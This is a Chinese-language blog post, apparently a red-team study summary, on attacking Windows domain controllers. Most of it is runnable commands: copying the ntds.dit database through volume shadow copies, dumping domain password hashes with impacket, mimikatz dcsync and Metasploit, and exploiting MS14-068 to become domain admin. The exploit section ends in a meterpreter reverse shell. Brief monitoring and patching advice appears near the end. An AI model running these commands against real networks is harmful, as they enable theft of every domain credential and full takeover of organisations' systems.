内网之域控制器安全总结
青 叶

域控制器安全

通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:\Windows\NTDS\ntds.dit数据库文件,因为该文件会一直被AD占用。但是使用Windows本地卷影拷贝服务,就可以获得文件的副本。

接下来会总结常用的提取ntds.dit文件的方法。

使用卷影拷贝服务提取ntds.dit

在AD中,所有的数据都保存在ntds.dit文件中,ntds.dit是一个二进制文件,存储位置为域控的%SystemRoot%\ntds\ntds.dit。该文件包含了用户名、散列值、组、GPP、OU等相关AD信息。和SAM一样,该文件是被Windows操作系统锁定的。

提取的ntds.dit中的信息一般会用到VSS(Volume Shadow Copy Service,卷影拷贝服务)。VSS本质属于快照技术的一种,主要是用于备份与恢复。

通过ntdsutil.exe提取

该程序是一个为AD提供管理机制的命令行工具。使用ntdsutil.exe,可以维护和管理AD数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用获得目录安装向导(DCPromo.exe)成功降级的域控留下的元数据等。该工具默认安装在域控上,可以在域控上直接操作,也可以通过域内机器在域控制器上远程操作。ntdsutil.exe支持的操作系统有Win Server 2003、2008、2012.

使用该程序提权ntds.dit的命令如下:

1
ntdsutil snapshot "activate instance ntds" create quit quit

这样会创建一个快照,GUID会在命令的结果中输出。

接下来加载刚刚创建的快照:

1
ntdsutil snapshot "mount {GUID}" quit quit

这实际上会把快照挂载到一个目录下,目标目录可以在上面的命令的输出中找到。

接下来使用copy就可以将文件复制出来:

1
copy C:\$SNAP_202204231112_VOLUMEC$\windows\ntds\ntds.dit C:\temp\ntds.dit

这样就把ntds.dit提取了出来。

接下来卸载并删除该快照:

1
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit

查看系统中的所有快照:

1
ntdsutil snapshot "List all" quit quit

如果没有发现快照,或者刚刚生成的快照的GUID找不到说明删除成功。

利用VSSAdmin提取

这个工具是Windows Server 2008和Windows 7提供的VSS管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息(仅限管理系统Provider创建的)、显示已安装的所有卷影拷贝写入程序和提供程序、以及改变卷影拷贝的存储空间大小等。

其操作类似ntdsutil

例如创建一个C盘的卷影拷贝:

1
vssadmin create shadow /for=C:

这样会生成一个ID与路径。

接下来将ntds.dit拷贝出来:

1
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\NTDS\ntds.dit C:\ntds.dit

注意这里的路径是上一个命令提供的,如图:

image

接下来删除快照:

1
vssadmin delete shadows /for=c: /quiet

利用vssown.vbs提取

该工具功能与vssadmin类似,Github已经搜不到相关项目了。

此处不提了。

利用ntdsutil的IFM创建卷影拷贝

除了前面的方法,也可以使用创建一个IFM的方式来获取ntds.dit数据库。在使用这个方法时,需要仅限快照生成、加载、复制等操作,可以通过Powershell或者WMI远程执行。

在域控中:

1
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

此时,ntds.dit将被会保存在C:\test\Active Directory下,SYSTEMSECURITY会被保存在C:\test\registry下。

将上面的文件拖回后本地后就可以删除test文件夹了:

1
rmdir /s/q test

在Nishang中有一个拷贝的脚本:

1
2
Import-Module .\Copy-VSS.ps1
Copy-VSS

这会把SAM、SYSTEM、ntds.dit复制到当前目录下。

Nishang的项目地址:samratashok/nishang: Nishang - Offensive PowerShell for red team, penetration testing and offensive security. (github.com)

使用diskshadow提取

该工具的代码由微软签名,并且在Win Server 2008、2012、2016都默认包含,所以也可以用于操作卷影拷贝。

查看diskshadow的帮助:

1
diskshadow.exe /?

该工具也可以用于执行命令:

1
diskshadow /s C:\command.txt

该文件里的内容就是命令,格式如下:

1
exec C:\windows\System32\calc.exe

用于导出ntds.dit时,将如下命令写入一个文本文件:

1
2
3
4
5
6
7
8
9
set context persistent nowriters
add volume C: alias someAlias
create
expose %someAlias% k:
exec "cmd.exe" /c copy k:\windows\ntds\ntds.dit c:\ntds.dit
delete shadows all
list shadows all
reset
exit

然后加载这个文本文件:

1
diskshadow /s c:\command.txt

注意使用该工具进行提取时,必须把工作目录切换为C:\windows\system32\,否则就会发生错误。

该数据库是存在密钥的,因此参考:内网之横向移动总结 System.hive转储 | 青 叶 (evalexp.top)进行system.hive的转储。

使用这个工具有以下注意点:

  • 可以在非特权用户权限下使用
  • 需要将文本文件上传到目标的本地磁盘中,或者通过交互模式完成
  • 实际使用推荐将执行的命令文本写入目标文件系统再使用该工具
  • 可以通过WMI进行操作
  • 必须在C:\Windows\System32中进行操作
  • 执行后,检查ntds.dit的大小,如果不同,重新执行

监控卷影拷贝服务的使用情况

通过监控相关使用情况,可以及时发现攻击者在系统中进行的一些恶意操作。

  • 监控卷影拷贝服务及任何设计活动目录数据库文件的可以操作
  • 监控System Event ID 7036(卷影拷贝服务进入运行状态的标志)的可疑实例,以及创建vsscv.exe进程的事件
  • 监控客户端设备中的diskshadow.exe实例创建事件。除非业务需要,否则应删除该工具
  • 通过日志监控新出现的逻辑驱动器映射事件

导出ntds.dit中的散列值

拿到数据库文件后就是想办法利用了

使用esedbexport恢复ntds.dit

项目地址:libyal/libesedb: Library and tools to access the Extensible Storage Engine (ESE) Database File (EDB) format. (github.com)

不同的系统安装方式不太一样,具体看官方的Wiki吧:Building · libyal/libesedb Wiki (github.com)

导出ntds.dit

安装完成后使用:

1
esedbexport -m tables ntds.dit

操作时间可能较久,具体看ntds.dit的大小情况,提取成功后,会在同一目录下生成一个文件夹。

实际上,导出的内容,只需要datatable以及link_table.

导出散列值

需要下载ntdsxtract,项目地址(不确定是否为官方):csababarta/ntdsxtract: Active Directory forensic framework (github.com)

克隆后安装:

1
python setup.py build && python setup.py install

然后输入下面的命令,将导出的ntds.dit.export文件夹和SYSTEM文件一并放入ntdsxtract文件夹:

1
dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee all_user.txt

这会将域内的所有用户名以及散列值导出到all_user.txt中。

也可以导出域内计算机信息以及其它信息:

1
dscomputers.py ntsd.dit.export/datatable.3 computer_output --csvoutfile all_computers.csv

使用impacket工具包导出散列值

项目地址:SecureAuthCorp/impacket: Impacket is a collection of Python classes for working with network protocols. (github.com)

安装:

1
2
python setup.py install
# python3 -m pip install impacket

然后导出ntds.dit中的所有散列值:

1
impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

该工具还可以直接通过用户名和散列值进行验证,从远程域控中读取ntds.dit并转储散列值:

1
impacket-secretsdump -hashes xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -just-dc hackme.com/administrator@192.168.0.1

在Windows下解析ntds.dit并导出域账户和域散列值

Windows下的工具是NTDSDumpex.exe

项目地址,可以直接下载Release:zcgonvh/NTDSDumpEx: NTDS.dit offline dumper with non-elevated (github.com)

导出域账户与散列值,需要ntds.dit文件与system文件:

1
NTDSDumpex.exe -d ntds.dit -s system

利用dcsync获取域散列值

上面的都是获取ntds.dit后进行导出,这里则不是这样。

使用mimikatz转储域散列值

mimikatz有一个dcsync功能,可以利用卷影拷贝服务直接读取ntds.dit文件并检索域散列值,但是必须以域管权限运行才能读取:

1
lsadump::dcsync /domain:hackme.com /all /csv

当然指定用户也是可以的:

1
lsadump::dcsync /domain:hackme.com /user:Dm

当然在域控中直接转储lsass.exe进行Dump也是可以的 :

1
2
privilege::debug
lsadump::lsa /inject

如果用户太多,无法列举完全的话,可以先执行log命令,这样会在日志中记录操作结果。

使用dcsync获取域账户和域散列值

这个脚本在这:Invoke-DCSync.ps1 (github.com)

命令如下:

1
Invoke-DCSync -PWDumpFormat

参数主要用于输出格式化。

使用MSF获取域散列值

psexec_ntdsgrab模块

该模块位置:auxiliary/admin/smb/psexec_ntdsgrab

需要配置的参数:RHOSTSMBDomainSMBUserSMBPass

基于Meterpreter会话获取

在Meterpreter中使用:

1
run windows/gather/credentials/domain_hashdump

或者Meterpreter在Background时:

1
2
3
use windows/gather/credentials/domain_hashdump
set session 1
run

使用vshadow.exe和QuarksPwDump.exe导出域账号和散列值

正常情况下,数据库文件体积较大,不方便保存到本地,如果域控上没有安装杀毒软件,能够直接进入域控,对ntds.dit进行导出的话,就不需要保存到本地了。

QuarksPwDump项目地址:quarkslab/quarkspwdump: Dump various types of Windows credentials without injecting in any process. (github.com)

vshadow.exe是从Windows SDK archive - Windows app development (microsoft.com)中提取中来的,需要自行提取,或者找网络资源。

这里贴出我的VS装的Win 10SDK下的:

shadowcopy.bat内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
setlocal
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
set SOURCE_DRIVE_LETTER=%SystemDrive%
set SOURCE_RELATIVE_PATH=windows\ntds\ntds.dit
set DESTINATION_PATH=%~dp0
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
"%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%
reg save hklm\system system.hive

将三个文件放到同一目录下,然后执行该脚本,可以看到导出了ntds.ditsystem.hive文件。

然后使用QuarksPwDump修复ntds.dit并导出域散列值即可查看:

1
QuarksPwDump.exe -dhd -sf system.hive -nt ntds.dit -o log.txt

也可以使用esentutl修复ntds.dit文件:

1
esentutl /p /o ntds.dit

Kerberos域用户提权漏洞分析与防范

该漏洞的编号为:MS14-068CVE-2014-6324

几乎所有的Windows服务器操作系统都会收到该漏洞的影响。

该漏洞可导致获得目录整体权限控制受到影响,允许攻击者将域内任意用户权限提升至域管理级别。简单来说,就是如果拿下了域内任意一台机器的Shell权限,并且知道了任意域用户的用户名、SID、密码,就可以获得域管理员的权限,进而控制域控,获得域权限。

该漏洞产生原因如下:用户在向Kerberos的KDC申请TGT时,可以伪造自己的Kerberos票据。如果票据声明自己有域管理员权限,而KDC在处理时未验证票据的签名,那么返回给用户的TGT就使普通域用户拥有了域管理员权限。该用户可以将TGT发送到KDC,KDC的TGS在验证TGT后,将ST发送给该用户,而该用户拥有访问该服务的权限,从而使攻击者可以访问域内的资源

测试环境

  • 域:pentest.com
  • 域账号:user1/Aa123456@
  • 域SID:S-1-5-21-3112629480-1751665795-4053548595-1104
  • 域控:Win-2K5J2NT2O7P.pentest.com
  • Kali:172.16.86.131
  • 域机器的IP:172.16.86.129

PyKEK工具包

项目地址:mubix/pykek: Kerberos Exploitation Kit (github.com)

工具说明

ms14-068.py是工具包中的MS14-068漏洞利用脚本,其参数如下:

  • -u 用户名@域名
  • -s SID
  • -d 域控地址
  • -p 明文密码
  • –rc44 没有明文密码使用NTLM Hash
查看域控 补丁安装情况
1
wmic qfe get hotfixid

MS14-068的补丁为KB3011780,没有安装即可进行攻击。

查看用户的SID

以用户user1的身份登录,可获取SID可以使用:

1
whoami /user

使用WMIC获取也是可以的

1
wmic useraccount get name,sid
生成高权限票据

使用PyEKE生成:

1
ms14-068.exe -u 用户名@域名 -s SID -d 域控地址 -p 成员密码

或:

1
python ms14-068.py -u user1@pentest.cm -s S-1-5-21-3112629480-1751665795-4053548595-1104 -d 172.16.86.130 -p Aa123456@

这会在当前目录下生成一个名为TGT_user1@pentest.com.ccache的票据文件。

查看注入前的权限

将票据文件复制到Windows Server 2008的mimikatz目录下,然后使用mimikatz注入。

在此之前,可以先检查注入前的权限:

1
net use \\Win-2K5J2NT2O7P\c$

如果提升Access is denied,则表明当前权限无法访问域控的C盘共享。

清除内存中的所有票据

使用mimikatz清除:

1
mimkatz "kerberos::purge"
注入票据
1
kerberos::ptc "TGT_user1@pentest.com.ccache"
验证权限

随后再次验证权限,如无意外应该可以正常访问域控的C盘共享。

goldenPac.py

继承在了Impacket里,这个脚本在examples中。

命令格式如下:

1
python goldenPac.py 域名/域成员用户:密码@域控地址
安装Kerberos客户端

Kali中是不包含Kerberos客户端的,需要独立安装:

1
apt-get install krb5-user -y
使用PsExec获取域控制器的Shell
1
python goldenPac.py pentest.com/user1:Aa123456\@@Win-2K5J2NT2O7P.pentest.com

然而这个脚本是通过PsExec获取Shell的,这会产生大量日志,并且PsExec以及被杀毒软件列为危险文件了,所以,不建议使用这个。

MSF中测试

模块名:auxiliary/admin/kerberos/ms14_068_kerberos_checksum

设置好四个信息后,直接run后会生成一个.bin文件,路径可以在MSF终端中看到。

但是MSF是不支持bin文件的导入,因此需要先对其进行转换,在mimikatz中:

1
kerberos::clist "xxxx.bin" /export

随后在拿到的Meterpreter中:

1
2
load kiwi
kerberos_ticket_use xxxx.kirbi

随后将该Meterpreter切换到后台,执行:

1
2
3
4
5
6
7
use exploit/windows/local/current_user_psexec
set TECHNIQUE PSH
set RHOSTS Win-2K5J2NT2O7P.pentest.com
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.86.135
set session 1
run

这样就可以拿到一个新的Meterpreter并且具有NT AUTHORITY\SYSTEM权限。

防范建议

  • 安装对应补丁
  • 对域内账户进行控制,禁止弱口令,及时、定期修改密码
  • 在服务器上安装杀毒软件,更新病毒库